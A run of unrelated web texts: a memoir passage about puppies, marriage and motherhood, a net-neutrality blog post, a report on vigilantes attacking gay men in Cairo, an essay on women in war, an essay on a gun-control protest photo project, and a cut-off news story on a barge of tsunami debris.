being so recently drenched in the juices of a placenta. Human babies, for days, weeks, even months after they are born still stubbornly reflect their neonatal state; they have that tough, grizzled, weeping stub of an umbilicus; they have that waxy lanugo and are speckled with blood. Human babies are essentially fetuses ejected too early. Puppies, on the other hand, are born as babies and within a few days of their arrival are playful and soft. Puppies catch onto cuteness ASAP and, at the same time, when you look into their eyes, you can see how they once were wild. I loved our new puppies, whom I renamed Lila and Musashi, immediately. I loved them because they were cute and because, perhaps, I lacked the depth or discipline needed to love a human infant so unambivalently.  I had the puppies, Lila and Musashi, for two days on my own and then it was time for Benjamin to return. I picked him up at the airport. In the week or so he had been gone, his beard had grown, not exactly longer but wider, so his face seemed fat.  Advertisement:  Benjamin got into the car, kissed me. There was his smell again (another reason for my kinship with the canine?), and I loved him all over again.  “There’s a surprise for you when you get home,” I said.  What, he wanted to know.  “Guess,” I said.  “You got a dog,” he said, without even pausing to think.  Advertisement:  “Jesus,” I said. I paused. “Musashi and Lila,” I said.  “You named the dog Musashianlila?” he said. “Cool,” he said. “Original.”  “Musashi and Lila,” I said. “‘And,’ as in an article of speech, a coordinating conjunction between two separate beings, as in, two dogs: one, Musashi; two, Lila.” I talked this way for a reason. Benjamin loves me best when I can use numbers in my communications.  “Two dogs?” he said. “Two foul hounds. I knew you were going to do something like that.”  “Are you mad?” I asked.  “I am,” he said. “A little.”  “Look,” I said. “I know with 100 percent assuredness that you will fall in love with these puppies. They are the cu—they are not only very cute,” I said, “but they are the perfect vehicles through which to reflect on our culture’s attitude toward cuteness. I’m telling you,” I said. “Owning a dog can be intellectual.”  He didn’t say anything.  “All right,” I said. “Aside from giving them back, what can I do to make this up to you?”  “You can stop at the next store,” he said.  “Why?” I said.  “As soon as I buy two soup pots,” he said, “everything will fall into place.”  Then he smiled, and I figured we’d be fine.  * * *  We got home from the airport. The two precious pooches were right there at the door, so small, so furry, their tiny tails jiggling so hard they looked like they might detach. “Benjamin, Musashi,” I said, picking up the slightly larger male and giving Ben his penny-sized paw to shake. Benjamin, good sport that he is (sometimes), shook it and doffed an imaginary hat. “Nice to meet you, sir,” he said. We repeated the same ritual with Lila, who was very much unlike her high-strung brother. Lila had a Cyndi Lauper personality. She was tough and flamboyant, a rock star of the dog world. She howled and crooned her ballads while Musashi, at the sound of anything that snapped or popped, crouched in a corner and shivered. Lila gave Ben a wet canine kiss that left a line of glisten on his face.  * * *  Before the dogs we had been a happy couple in an uncomplicated way. It was therefore inevitable, I suppose, that something divisive would enter our lives, because marriage—like physics, literature, and carpentry—is almost always synonymous with complexity. The dogs came over us like a cloud, something impossibly soft and fuzzy. They arrived in our home in the winter of our first married year, during a freeze so deep the snow was solid enough to stomp on, and mornings were filled with the sounds of cars coughing and squealing as they slid on icy streets. The puppies, of course, were incontinent, for all intents and purposes. Housetraining required that I rise every three or so hours and head outside, into the pitch-black coldness, parka wrapped around my nightgown, feet shoved sockless into big rubber boots. Midnight, 3 a.m., no one around then but me and my pups, their urine steaming small holes through the snow, good boy, good girl. There were the required visits to the vet, the building of a fence, a carpenter who came to cut a square in our back door—a dog door they learned to use with the aid of chicken and cheese as rewards. There were several emergency overdoses, rushing Musashi to the veterinary hospital at dawn, the embarrassing explanation to the blonde female vet who always seemed severe and judgmental. “He, um, he, uh, he swallowed my medicine.” “What kind of medicine?” In an age of polypharmacy, embarrassment nearly replaced my fear for the dog’s survival. First it was Prozac; then it was Ativan for anxiety; then it was the mood stabilizer, lithium—Musashi sampled them all, the child-protection caps no impediment to him as he cracked the bottles with his teeth and chomped on pills he found strangely tasty. “I don’t understand,” said the vet at our third visit, “how he manages to get your medications.” I thought I heard her emphasize the plural. “I mean, they are in a drawer, aren’t they?”  “Of course they are in a drawer,” I said. “This dog can open drawers,” which was true, but she clearly believed I was delusional. I finally solved the problem by hiding my drugs on a shelf so high that to this day I need a stepstool in order to medicate myself.  And it was all terrible and amusing and fun and hard work, but in the center of it all was a little hole, like those the dogs left when they pissed in the snow, a cold, steamy, smelly little hole in my heart because Benjamin participated in none of this with me. These were not our dogs. They were my dogs. He petted them; he occasionally tossed a ball or a bone, but when I asked him, “Do you love the dogs?” he always said, “No. I like them.” Once, in a fit of blind maternity, I said to one of the pups, “Mama’s here,” and he looked at me with something like scorn and horror combined. “You’re not their mother,” he said.  “I am,” I said. “These dogs are a part of our family, aren’t they?”  “No,” he said. “These dogs are our roommates.”  * * *  In every marriage there are betrayals; the question is how soon they happen, how many, and of what sort. I remember quite clearly the first time I betrayed Benjamin. The puppies were growing fast, their fluff becoming fur, the round snouts taking on a sharper shape. At four months or so Lila’s urine came out tinged with blood; an infection? No. She was going into heat. Our regular vet—a jolly Irish woman completely unlike the ER vet—told me it was time. Lila needed to be spayed. Musashi, who had testicles so tiny one couldn’t really see them, nevertheless now needed to be neutered as well.  Of course it sounds terrible—spayed—a sharp hoe, shredded earth—and neutered—not as violent sounding but shameful nonetheless. Still, the reason for the procedures far outweighs the recoiling they naturally give rise to. I told Ben. He was eating oatmeal at our table, spoon at the ledge of his lips; he set down his spoon. Clink. “You’re going to remove Musashi’s testicles?” he said.  “Yes,” I said.  I could tell by his tone we were in for trouble, entirely unanticipated, because I knew he didn’t give a damn about the dogs, so I never imagined he might care in any way about one of their body parts.  “You can’t remove a man’s testicles,” he said.  “He’s not a man,” I said. “He’s a dog.”  “You can’t do that,” Ben said. He seemed truly stumped, his eyes alarmed; this was a highly articulate person, a person with a love of debate who was suddenly silenced, stumbling over a panic as primitive as what a fish might feel flailing on a hook. I could not believe it. I could not believe my husband, for all his professed distance from dogs, was confusing his testicles with theirs, and I said so.  “I am not confused,” Ben said.  “Seems to me like you are,” I said. “You can’t be a responsible pet owner and not neuter your dogs.”  “That’s just some right-wing mumbo jumbo,” he said. “Remove an animal’s testicles and you fuck up its hormones. You cripple it. The animal doesn’t mature the right way.”  “I thought you didn’t care about animals,” I said.  “I don’t,” he said. “I raise this objection on theory. You can’t take testicles from a male. I won’t have a neutered male in this house.”  I knew, then, that I was dealing with an irrational man. And worse, a man who would protect his kind, but was fine as concerned the fate of the female. Lila would be sliced open like a freshly baked cake, her core cut out, the tiny bean-sized sac of the uterus, the ovaries even now stuffed with their millions of eggs, and then sewn up, her healing hard.  I said okay; I would not fix Musashi.  * * *  And the betrayal? I had Musashi neutered behind Ben’s back. The night of our neutering fight, I planned my strategy with barely a twinge of guilt. I would wait four months, enough time so that the conversation—the issue itself—was all but forgotten but not so much time that the puppy would have become a dog with observable scrotum, at which point a secret surgery would have been impossible. Lest our vet ever somehow let it slip in Ben’s possible future presence, I would bring the dog to a different vet, one we were sure to never see again. Problem #1: Explaining why Musashi had stitches between his legs. I would say he got a deep scrape at the park. Problem #2: Explaining, when the dog finally became fully mature, why he had no testicles. When this happened, as it inevitably would, I decided right then and there that I would feign concern, promise to take him to the doctor, then claim I had and announce that night at dinner that the vet had diagnosed Musashi fully male but with undescended testicles. It all seemed so simple. And, in fact, it was.  Winter turned to summer turned to fall. As planned, Musashi was neutered in a covert operation and when later that evening Ben noticed the small stitches, I gave my rehearsed explanation. It all went by without a hitch. Brilliant. Bad. It seemed a long time went by before the inevitable confrontation, before the day Benjamin finally observed, nearly one year later, that the dog, now fully grown, had no balls.  “Hey,” he said, still kneeling, looking down.  “Hey what,” I said, although I knew exactly what was coming.  “This dog has no balls,” he said.  “No balls?” I said. “C’mon.”  “Seriously,” he said. “Look here.”  I did, of course, look there. “I see some balls,” I said. “Right there.” I pointed to a place too near the tip where there was a tiny bilateral bulge, a quirk the dog had had since infancy.  “You think those are balls?” Ben said to me. “Are you serious?”  “Well,” I said. “Isn’t it possible to have, you know, high balls?” I started laughing then, slapping my knee and snorting. “I’m so hilarious,” I said. “Aren’t I?”  “What’s wrong with Musashi?” Ben said. “Could they have neutered him before you bought him?”  “I doubt it,” I said. “I mean, he was practically new born. I’ll take him to the vet, check it out.”  Which I didn’t. But three nights later I said, “So I took him to the vet—” Etc., etc.  “Undescended?” Benjamin said to me.  “Yeah,” I said.  “Undescended,” Ben then said again, not a question but a statement. He looked from the dog to me back to the dog again. A long time seemed to pass. At last he went, stood by the window. What was it he saw out there?  “Hey,” I said, but he either didn’t hear or didn’t want to listen. Then he left the room.  * * *  If it sounds like our marriage was bad, it wasn’t. We shared so many things, I am only telling of the troubles. Benjamin called me “Pie,” short for Sweetie Pie. I loved to hear him sleep talk, long monologues about dolphins and computer code. In 1999 I decided I was ready, and we set about the task of conceiving as though it were exactly that—a task, a military mission. My zealous approach to conception arose more in response to challenge than desire. “Look how much you care for the dogs,” my friend Audrey kept reassuring me. “If you love the dogs so much, obviously you’re a person capable of attachment. You won’t have a problem.”  But I would. I did. Have a problem. It was easy enough to give voice to my ambivalence about having a child; maternal ambivalence is très chic these days; there are lots of books about it, and Oprah did a whole show on the topic, each female guest confessing that, yes, she had a shadow side; that, yes, when it came to babies and feelings about them, it wasn’t all cream and talc. None of this comforted me. It seemed to me my ambivalence was of altogether a different sort, or species. A single question circled round and round inside my skull, its serrated edges making a scraping sound that no one else could hear. What I didn’t say ... Okay. What if I couldn’t love the baby as much as I loved my dogs? Or, what if I found I loved both the baby and the animals equally? Can you imagine admitting to that, should it occur? One must rigidly remember not to anthropomorphize and above all not to ooze emotion over domesticated beasts, the toys for which consumers stupidly spend over billions of dollars while so many in this world are starving.  So how could I comfortably say, or feel, that I might love daughter and dogs equally? And, yet, were I to claim I valued my dogs and my daughter equally, I would not in fact be making an insignificant statement. I would be in violation of a sacred human stance in place since pets, thousands of years ago, first took up residence in human households.  * * *  I had the baby. Human birth is an unreasonable proposition; her head was too big for my pelvis; it got stuck in the brackets of bone. Hyenas, however, give birth through the clitoris, so I still count myself amongst the luckier of the beasts on our blue ball. There she was, seven pounds, waxy and wet.  Five days later, C-section healing, Benjamin and I brought our daughter home. We arrived to two dogs howling with joy – hello, hello, hello, kisses and slurps all around, such a long time, so good to see you, you too, leaping on hind legs, their short forelegs dangling the way they do, their ears pressed back in pleasure. All the books I’d read emphasized the importance of letting the dogs thoroughly sniff the new family member. I lowered the bundle of baby down. The summer breeze blew in, and halfway to their level, the dogs caught a whiff of the strange smell. They froze. Their eyes turned canine, carnivore, the little dots of yellow in the iris with a wolfish gleam.  “Stop,” said Ben. He claims he heard a low growl emanating from Lila’s throat. Had I heard it, I would have stopped, of course. I, however, heard nothing.  “Musashi, Lila,” I sang. Something was amiss, but what? “This is Clara,” I said, and then she was down, this baby so bundled only the disc of her face was visible, the tiny lips, the perfect mini nose, and eyelids scrawled with arteries.  Lila, always the more aggressive, stepped forward. Her snout was wet, her black lips seamed shut; but it was the eyes that gave me pause. Slowly, slowly, she lifted one leg and pawed at the bunting, almost batted it. Playful? Aggressive? Curious? Musashi followed, his blocky head low down and then, before I could stop them, their noses were in the wrappings, the huff huff of their hungry breath, the child screamed, the dogs shot back. Ben grabbed the baby from me, his own face full of canine rage. “How could you?” he spit. “They’ve bitten her.”  Understand, I was doped up on drugs, painkillers coursing through my system, the whole world wavy, and I had done what all the books instructed. “No,” I said. “No.”  We peeled back the wrappings. Our baby was unbroken, everywhere. In an instant she plunged into slumber again.  * * *  I have never brought up, certainly not then, or now, until now, the idea that I might love my animals as much as my child, or children. No one has ever thought to ask, despite the fact that everyone I know, as hypereducated as they all are, understands that meaning is often found in the questions we fail to form. The oversight has freed me to fret privately, and sometimes not at all. While some pluck petals off the daisy—he loves me, he loves me not—my chant is less melodic, as clunky as the conundrum it echoes: I love her more; I love her less; I love them all the same. At the end of this exercise, what am I left with? A shredded flower, hands painted with pollen, cupped up and empty. I said nothing, to anyone, ever.  But, as a strategy, silence does not work to tamp the tugs one would rather not feel. As a mother, I wanted to feel clearly and cleanly driven only to my offspring, that packet of genes and nerves, that person in my pocket for the first nine months of her life, but it didn’t happen that way. In the early years of my daughter’s life, and then my son’s life too, when he was later born, I would sometimes feel a longing for my dogs that overrode every other affection and made no sense to me, given that I had as much physicality from my mate and babies as any person could possibly need. But I wanted to touch another kind of being. I wanted snout and paw.  And it was this, this felt biological need to connect beyond my human confines, that drew me downstairs, again and again, after my babies were asleep. I’d sit in the kitchen and groom my dogs. Their undercoats were always dense with down; the fur flew, piling up in drifts I swept into big green bags, huge bloated bags that looked heavy but that drifted in the wind on garbage night. I’d stack them on the curb for the next day’s trash truck, but the fur-stuffed bags always flew away, flew high above the roofs of our city while over and over again I brushed the pups, until it was very late, and Benjamin came down, tired-eyed, 2 a.m., the first feeding over now. He’d see me on the floor, then and now, as well. “Making love with the pups?” he’d ask, and I say the only thing I could.  Yes.  Excerpted from "The $60,000 Dog: My Life With Animals" by Lauren Slater. Copyright 2012. Excerpted with permission by Beacon Press.
-Looking for news you can trust?  Subscribe to our free newsletters.  “Net neutrality” is a simple thing: it mandates that ISPs (internet service providers, usually your cable or mobile phone company) provide the same level of service to all comers—from mighty Disney to modest Breitbart to tiny little startups. Without it, internet providers can sign exclusive deals with big companies so that their sites are nice and fast, while the also-rans are sluggish and unreliable.  But would internet providers do this? One of the arguments against net neutrality is that it addresses a problem that might happen in the future, not a problem that actually exists. This argument doesn’t do much for me, since I think the probablility that internet providers will sign lucrative deals like this is pretty close to 100 percent. Hell, some internet providers have already come pretty close. Netflix pays Comcast for fast service on its lines. In the past, T-Mobile has “zero rated” certain sites so they don’t count against your data limit. These should be viewed as opening salvos, not full-blown non-neutrality, but they’re certainly a sign that monopoly internet providers know they have a very valuable commodity that they can auction off to the highest bidders if they’re allowed to.  But what concrete evidence do we have about the future of a non-neutral internet? How about overseas, where net neutrality isn’t universal? I was thinking I should look into that, but Rep. Ro Khanna beat me to it:  In Portugal, with no net neutrality, internet providers are starting to split the net into packages. pic.twitter.com/TlLYGezmv6 — Ro Khanna (@RoKhanna) October 27, 2017  Britain allows similar arrangements. Michael Hiltzik picks up the story from there:  Although both countries are part of the European Union, which has an explicit commitment to network neutrality, they’re allowed under provisions giving national regulators some flexibility. These regulators can open loopholes permitting “zero rating,” through which ISPs can exclude certain services from data caps….The potential for abuse is obvious: The system gives ISPs the ability to set terms for any service’s inclusion in one of these special tiers. …. In early January the FCC staff, in one of its last published reports before President Trump appointed Pai chairman of the FCC, concluded that zero-rating deals offered to broadband customers by AT&T and Verizon violate net neutrality principles. The deals “present significant risks to consumers and competition…because of network operators’ potentially unreasonable discrimination in favor of their own affiliates,” the staff reported. ….The arrangements that offended the FCC staff were AT&T’s “sponsored data” and Verizon’s “FreeBee Data 360.” AT&T, according to the FCC staff, gives content providers the ability—for a fee—to offer programming to its subscribers without its counting toward the subscribers’ monthly data usage limits. The problem is that AT&T offers this service to programmers at terms worse than those it gives DirecTV, which it owns….Verizon pulled the same stunt to favor its own go90 video service, the FCC staff found.  This is just the start. At the moment, ISPs like Comcast and Verizon are being careful because they don’t want to do anything to jeopardize the elimination of net neutrality. But once they’re convinced it’s gone for good, they’ll start experimenting to see how far they can push things.  Can I prove this? Of course not. But it’s obvious that in a non-neutral market, ISP’s can make a huge amount of additional money by charging content providers for fast service. So why wouldn’t they do it? It’s not as if their customers can switch to someone else, after all.
-Four gay men were beaten and detained by moral vigilantes in Cario, after being caught having sex in car  A group of styled moral vigilantes detained four men who were said to have ‘practiced immorality’ (i.e. gay sex) in Cario, Egypt.  The four men were apparently caught in the act by the group in a private car on Game’et el Duwal el Arabya (Arab League Blvd), Mohandeseen neighbourhood, Cario last night (26 October).  The car driver apparently tried to drive away, but the vigilantes with the help of other car blocked the passage and beat up the four gay men, reported the Egyptian portal January 25.  They then detained and brought them to the local police station.  In the last year there have been increased concerns in Egypt over the presence of self-proclaimed morality vigilantes.  Many groups become well organised during and after the revolution, that combined with a reduced police presence in many areas after the revolution, has raised concerns that self-appointed morality vigilantes will start flexing their muscles on the street.  Speaking with Gay Star News, Ali, a 23-year-old law student from Cairo said: ‘I don’t know who this group is but the portal is connected with the revolutionary and Islamic groups.  ‘Many groups connected with various political parties are operating in Egypt and often take the law into their own hands.  ‘We had a number of cases of people being arrested, beaten up and even killed (like in Suez this summer), by some of these groups.  ‘I am very concerned about these four men, and I urge NGOs to verify this information and check how they are being handled.  ‘The general atmosphere here in Egypt is a bit scary for the LGBT community, I don’t know what exactly to do, but sit tight and wait and see.’
-As wars become less about states and more about societies, women can play a greater role in shaping or ending conflicts. So why do we still think of war as inherently male?  An Afghan artist removes rubbish in front of her graffiti in an industrial park in Kabul / Reuters  Asked to describe war, most Americans would probably throw out words like troops, tanks, guns, Iraq, and Afghanistan. Our historical and cultural understanding of war is shaped by our focus on the men who fight -- and it is still overwhelmingly men who fight -- and the tools they use, and this has become the prism through which we understand war and its consequences. War is a male domain, says conventional wisdom, in which women play little direct role.  But the idea of war as a male domain is increasingly out of touch with the way that war is fought today -- and whom it impacts. Across the globe, conflicts are primarily fought not by well-trained armies at the behest of their governments but by non-state groups with complex motivations and little incentive to obey the laws of war. In these wars, civilians are often targets, not just collateral damage; 90 percent of conflict casualties are civilians, many of whom are women and children. A 2009 study by the Peace Research Institute of Oslo concluded, "men are more likely to die during conflicts, whereas women die more often of indirect causes after the conflict is over." When our understanding of a given war focuses so overwhelmingly on its male soldiers and statesmen, we miss the larger context -- namely, we underestimate the many roles women can and do play -- which makes it harder to end war and create durable peace.  I Came to Testify, a documentary that tells the story of Foča, the town in Bosnia that was the site of multiple rape camps during the war there. The site later became central to the International Criminal Tribunal's efforts to prosecute rape as a crime against humanity. Prosecutors were able to collect physical evidence from Foča and gather 16 women willing to Our common understanding about what war is and who participates can change, but it's a slow process. For example, the idea that wartime rape is a crime against humanity -- rather than an inevitable byproduct of war -- is relatively new. After the Holocaust, there was little effort to collect evidence of systemic rape; at the Nuremberg trials, no charges of rape were filed. In contrast, the International Criminal Tribunal for the former Yugoslavia opened a case devoted solely to sexual crimes -- a watershed moment in the development of international law regarding the intersection of women's rights and conflict. As part of their excellent, five-part Women, War & Peace series, PBS produced, a documentary that tells the story of Foča, the town in Bosnia that was the site of multiple rape camps during the war there. The site later became central to the International Criminal Tribunal's efforts to prosecute rape as a crime against humanity. Prosecutors were able to collect physical evidence from Foča and gather 16 women willing to testify before the court. The inclusion of women as witnesses, lawyers, and judges was key to the case's success and to the establishment of systematic rape as a crime against humanity.  Through ten years of war in Iraq and Afghanistan, the U.S. military has begun to appreciate the importance of gender in war -- and not just as an artifact of political correctness. As the U.S. moved to a strategy of counterinsurgency, they put less emphasis on killing bad guys and more on engaging with locals as a way of de-escalating violence. The military, though a male-dominated institution itself, became increasingly aware of the role of women in society and their influence over the men in their families. The military created Female Engagement Teams , whose members can talk directly with Afghan women (whose culture forbids them to talk to men outside their family). That was a strong start, but the idea that traditionally female spheres are of secondary importance during war and are not a male concern still persists, and may hamper future counterinsurgency efforts.  Men still tend to dominate peace negotiations -- often the same men who were responsible for starting the war -- in Afghanistan and elsewhere. Women are still in the minority at these talks, if they're invited at all. The 2008 documentary film Pray the Devil Back to Hell tells the story of the women of Liberia, who ended the decades-long conflict there by pressuring dictator Charles Taylor to attend peace talks in Ghana -- then followed him to Accra to keep the pressure on. The women were led by Leymah Gbowee, who, along with Liberian President Ellen Johnson-Sirleaf and Yemeni activist Tawakkul Karman, won the 2011 Nobel Peace Prize for her non-violent work to ensure women's voices were heard in the peace process. In the documentary, Gbowee discusses the talks in Ghana, where the men acted like they were on vacation until the women staged a sit-in and refused to allow the negotiators to leave their conference room until they took their work seriously. The imagery is telling: the men are inside bargaining while the women are outside, with no direct influence over talks that could change their lives until they decide to use their bodies as doorstops.  There are lessons here for Afghanistan, where women are struggling to hold on to what gains they've made since the Taliban was driven from power in 2001. In Liberia, women have helped prevent the return of large-scale violence through their influence over family members and communities, which might be more likely to use violence without this women-led, behind-the-scenes diplomacy. Though there are cultural differences between Afghanistan and Liberia, of course, the need to include Afghan women in the peace process is clear when the stakes for women -- and the country -- are so high. Secretary of State Hillary Clinton has pledged that she will not bargain away Afghanistan's women, but Afghan women themselves are still not sufficiently represented at international talks, such as the 2010 London Conference on Afghanistan.  Including women becomes even more important in post-conflict reconstruction, particularly disarmament, demobilization, and reintegration efforts. In peace time, women generally bear the responsibility for the health of the family and the education of children; after war, they often take up the added burden of sick and injured relatives. Because women often suffer more in conflict than men, they may have greater incentive to pursue non-violent strategies.  Local women may also understand on-the-ground realities of war in ways that the international community cannot. And yet, outside forces and peace-builders -- NATO in Afghanistan, for example, or the United Nations in Libya -- often fail to seek their input. In an interview, Gini Reticker, director of Pray the Devil Back to Hell, recounted an incident where the United Nations planned to collect guns from former combatants. The UN had expected it to be a symbolic event; when thousands of men showed up to accept a payout to turn in their guns, the UN was unprepared and a three-day riot followed in which 12 people died. If UN workers had engaged the women of Liberia in the planning process, they would have understood that the women were pushing hard for their sons to disarm. These women also knew the communities that the guns would be coming from, and could have told the UN which factions needed to be separated in the disarmament camps. Liberia's disarmament process went as well as it did because women were eventually involved, but it would have gone even better if they'd been included earlier.  By understanding war as a male pursuit, we obscure the suffering, the triumphs, and the contributions of women. We also limit our ability to conduct war and to negotiate lasting peace. Without a dramatic shift in our popular conceptions about war and the roles women can play during and after conflict, we will have a harder time escaping the cycle of war and will be unable to find new ways to limit conflicts and rebuild societies.  War Redefined, the final episode of Women, War & Peace, airs tonight on PBS.
-Why I can’t stop putting dildos into the hands of powerful conservatives  Matt Haughey Blocked Unblock Follow Following Dec 12, 2015  There have been so many gun massacres of late it’s difficult to recount them all. Increasingly, they’re striking closer and closer to home for me as well. Just a couple months ago, a shooting happened on an Oregon college campus a few hours from where I live. My wife is a college professor in Oregon and I never in a million years thought that was a dangerous profession, but now every day when she goes off to work I will have this thought in the back of my mind. The most recent San Bernardino shooting was about ten miles from where I went to college and took place at a location I used to drive by weekly. A couple of those injured in the attacks went through the same program I did at my school.  Like most of these tragedies, they involve powerful weaponry, sold legally to people that shouldn’t have had them in hindsight. Over the past few years we’ve had countless gun-related atrocities take place in the US. Kids killed in a school. Worshipers at a church shot point blank. Women in a medical clinic gunned down in broad daylight. A holiday party at a public health department ending in bloodshed.  In the wake of most horrific news events, change takes place. We realize something in the system is broken and close the loopholes that make future events improbable or less likely. Yet with guns, we do nothing. No matter how high the body counts reach, we hear the same refrains: now’s not the time to talk about guns, if anything we need more guns in more places, and perhaps most famously the only thing stopping a bad guy with a gun is a good guy with a gun.  After every massacre I think ok, enough’s enough. We’re finally going to see meaningful change to prevent a future tragedy like this one from happening again. And then… our leaders do nothing.  The contrast in the first Republican and Democrat debates a few months back couldn’t have been more stark. At the democratic debate, the candidates (except Jim Webb) talked openly about curtailing sales of military-style weapons and putting tighter controls on gun show and private party sales loopholes. While at the GOP debate, it was a battle of one-upmanship to see who could toe the National Rifle Association’s harsh anti-gun control stance.  Of course, these kinds of atrocities happen regularly only in America. Most every other developed nation has active controls on weapons designed to kill humans. It makes logical sense. And you never feel the threat of violence and death even if you’re walking in the dodgiest parts of London late at night in the way any major US city feels at that hour.  Heck, in America you can’t even sell a car at a car show or via Craiglist without alerting licensing organizations. Every car carries a unique identifier that anyone can lookup and track instantly for the entire life of that car. Why is that we don’t even treat guns like we do automobiles in the US?  The GOP Candidates  With all this in mind, I read yet another news article on the GOP responses to a tragedy, and as they often do, it featured an image of a candidate proudly displaying a weapon to show his cred. Again, I felt a sense of powerlessness at a Congress that does nothing about guns and would do nothing, then I got a goofy idea to do something with it. I will freely admit it’s something very stupid, but at least I could blow off some steam and protest in my own tiny way.  I decided to take every GOP candidate/leader photo featuring a gun and replace it with a dildo.  Yes, it’s very juvenile, and I know it’s fairly pointless, but I wanted to rob the original images of any power they hold by making the same subjects appear ridiculous when the photos were altered. That’s all there is to it.  At first, I did some Google Image searches and figured I’d be done in a week with the current crop of candidates, but doing deeper searches with better tools, I suddenly found myself picking and choosing the best shots from hundreds of options, where candidates and leaders of the GOP featured themselves holding, shooting, and proudly displaying guns. In one week, I’m already up to 32 completed images and I have a downloads directory with dozens more. I joked that maybe I’d hit 500 images someday, but now I’m starting to think that’s actually possible, and that’s a frightening observation about gun culture in the US.  The Rules  Like any web project I take on, there are guidelines that lay out boundaries to help the work support the original idea. Mine are pretty simple. The subjects are conservatives in power, that work in lawmaking or help support it, and yet do nothing to curtail guns. I locate an original photo of them with a gun (I’ll never use a photo of them holding a phone, or a microphone, or a corndog, just real guns near them), photoshop the gun out, plop a dildo image in, and make it look somewhat realistic. I post it to GOPdildo.tumblr.com along with a link to the original so you can see what I started with. Then I added links to the dildos themselves because so many people asked. Later on I usually tweet out links to the new posts as well. Sometimes friends send me their doctored images and I post them too.  The dildos are all from Amazon. Right now a search on Amazon turns up 55,311 dildos for sale, complete with high resolution photographs of them on a white background. This comes in really handy for a project like this.  It’s worth noting I don’t wish to bring any shame to dildos. I think they’re harmless and delightful objects men and women are free to use however they see fit. A dildo is practically a teddy bear when compared to the vast variety of sex toys, sex acts, and sex fetishes out there. I don’t feel any embarrassment when I see one in a shop window. But I don’t think the subjects of my images feel the same way, and therein lies the tension for the project.  The Reaction  It’s been hilarious to see what I originally thought might be a tiny twitter art project that would hopefully crack up my friends spread like wildfire across social networks, and later to news sites, and eventually into many other languages. Mostly people see it for what it is, a silly way to express frustration at The United States’ current endless cycle of gun tragedy followed by inaction while leaders posture with their weapons in defiance of any changes.  Of course, it being on the Internet, there’s a flipside reaction as well. I’ve been asked to meet people to see their guns, and perhaps to experience getting shot by them, I’ve had people on Twitter tell me all the things they want to do with a dildo to me, and I’ve even had a guy say he’d love to shove his gun up my ass and pull the trigger so I got the full idea of how powerful his weapons are. Usually I block or mute people on Twitter that tell me stuff like that so I don’t have to see it again.  The strangest reaction to me is when someone finds these images “hateful”. I’ve seen the word pop up a few times in responses, and it really throws me how something as harmless as a dildo crudely added to an image is seen as hateful, as if the original photo of someone proudly displaying a weapon capable of ending anyone’s life instantly is instead seen as righteous. That right there? That is a set of priorities that are fucked up, full stop.  My Someday Wish  I think the US should have stricter gun controls. Ultimately, I wish we could follow a model close to Australia’s, where basically nobody but farmers wanting to control vermin or humanely kill livestock when needed have 3 foot long shotguns that are registered and licensed (and only people with legitimate reasons even get considered for). Handguns are rare and you have to shoot in a club’s range for six months before you can even apply to own one for sporting purposes only. Semi-automatic weapons are limited to the military. Australia is a special case, being isolated from neighboring countries and going on nearly 20 years of strict controls, but their numbers of deaths from guns run about 200 per year, while in the US the number runs above 30,000/yr.  I would also be happy with controls less strict than Australia’s in the US. Gun shows and private sales should carry the same oversight a sale in a shop does. Every gun should be identifiable and tracked. Mostly, I would like to see politicians (yes, from both parties, but especially the GOP, who control Congress completely on this issue) do something, anything to bring some sanity to the hard-line, 239 year old ideas concerning firearms, and bring it into the reality of the present. Sure guns are in the Constitution and woven into our history, but so was slavery and we certainly changed our tune on that since 1776.  And yes, even if we banned the sale of all guns overnight on January 1, 2016, we would not be living in a safety wonderland. It will take many years before grandfathered-in guns move out of circulation and use, but that still doesn’t mean we should continue to do nothing. Imagine if in the wake of the Columbine shootings back in 1999, we put stricter controls on firearms? Would there be less than over 300,000 people that died by gunshot since that massacre? Sixteen years on, I bet it would have made a serious dent.  Finally, my last wish is that people stop sending me Michele Fiore’s family christmas card where everyone’s holding guns. I’m not going to put dildos in the hands of her entire family, jesus christ people have some decency.
-A barge carrying 1 million pounds of debris that washed up on Alaska and Canada coastlines — half of it from the 2011 Japan tsunami — signals a larger cleanup that needs to be done.  A barge docked in Georgetown stretches the size of a football field and is piled high with 3,400 large white sacks of marine debris — buckets, water bottles, nets and even shoes.  In total, the barge tied up at Waste Management’s Duwamish facility holds about 1 million pounds of trash, roughly half of which is debris from the 2011 Japan tsunami that found its way onto Alaskan and Canadian shores.  Despite its enormity, the trash represents less than 1 percent of the debris littering the Alaska coastline, said Chris Pallister, co-founder of Gulf of Alaska Keeper, a nonprofit that works to clean up the coastline there.  “It’s one of the greatest environmental tragedies on the planet right now,” Pallister said.  The barge arrived in Seattle on Thursday at the end of a $1 million project funded mostly by Japan to clean up Alaskan and Canadian shorelines in the aftermath of the massive earthquake and tsunami.  Japan estimates that 5 million tons of debris washed out to sea in the tsunami. Most of it sank in the first few miles, leaving an estimated 1.5 million tons floating in the Pacific.  Even without a natural disaster, winds and currents routinely deposit large amounts of debris on Alaskan beaches, said Peter Murphy, Alaska regional coordinator of the National Oceanic and Atmospheric Administration (NOAA) Marine Debris Program.  Next month, the trash that arrived in Seattle this week will be sorted by volunteers coordinated by the nonprofit Parley for the Oceans. Unusable debris will be sent to the Columbia Ridge landfill at Arlington, Ore., while most of the plastic will be recycled.  Alaska’s shoreline stretches 44,000 miles, more than double the length of the East and West coasts combined.  With so much beachfront, and some areas of steep shorelines and cliffs, it’s not easy to get the debris out. So once the trash was collected and bagged on the beaches, Pallister used helicopters to lift the sacks to the barge.  Advocates for clean shorelines faced another hurdle last year when, due to a lack of capacity, Anchorage’s landfill stopped accepting marine debris unless it was in small pieces, Pallister said.  Getting the barge safely to Seattle was a milestone in itself, Pallister said.  “It’s a real sense of relief that this is here,” he said.  It first stopped in Kodiak, Alaska, on July 15. From there it traveled to 10 other sites, including Montague Island near Prince William Sound and Gore Point on the Kenai Peninsula.  Pallister’s plan for coordinated barge stops to pick up debris at multiple locations was unprecedented, Murphy said.  Supporters of the project, including NOAA, Waste Management and the Alaska Department of Environmental Conservation, all agree on one thing: The coasts need to be cleaned.  Most of the debris on the barge is from Alaska, with refuse from just one British Columbia site — Ucluelet, on Vancouver Island. Karla Robison, the manager of environmental and emergency services in Ucluelet, called on more Canadian cities to step up to help clean the coasts.  Prepare for an earthquake Earthquakes may be unpredictable — but they are also inevitable. Here are some tips to help you get ready before the next one hits.  Japan has provided $5 million to the U.S. for tsunami debris removal. Alaska received $2.5 million of that, using it on this project and other, smaller efforts to clean up coastlines and complete aerial surveys.  Janna Stewart, the tsunami marine-debris coordinator for Alaska’s environmental-conservation department, said she hopes the state can receive another $1 million 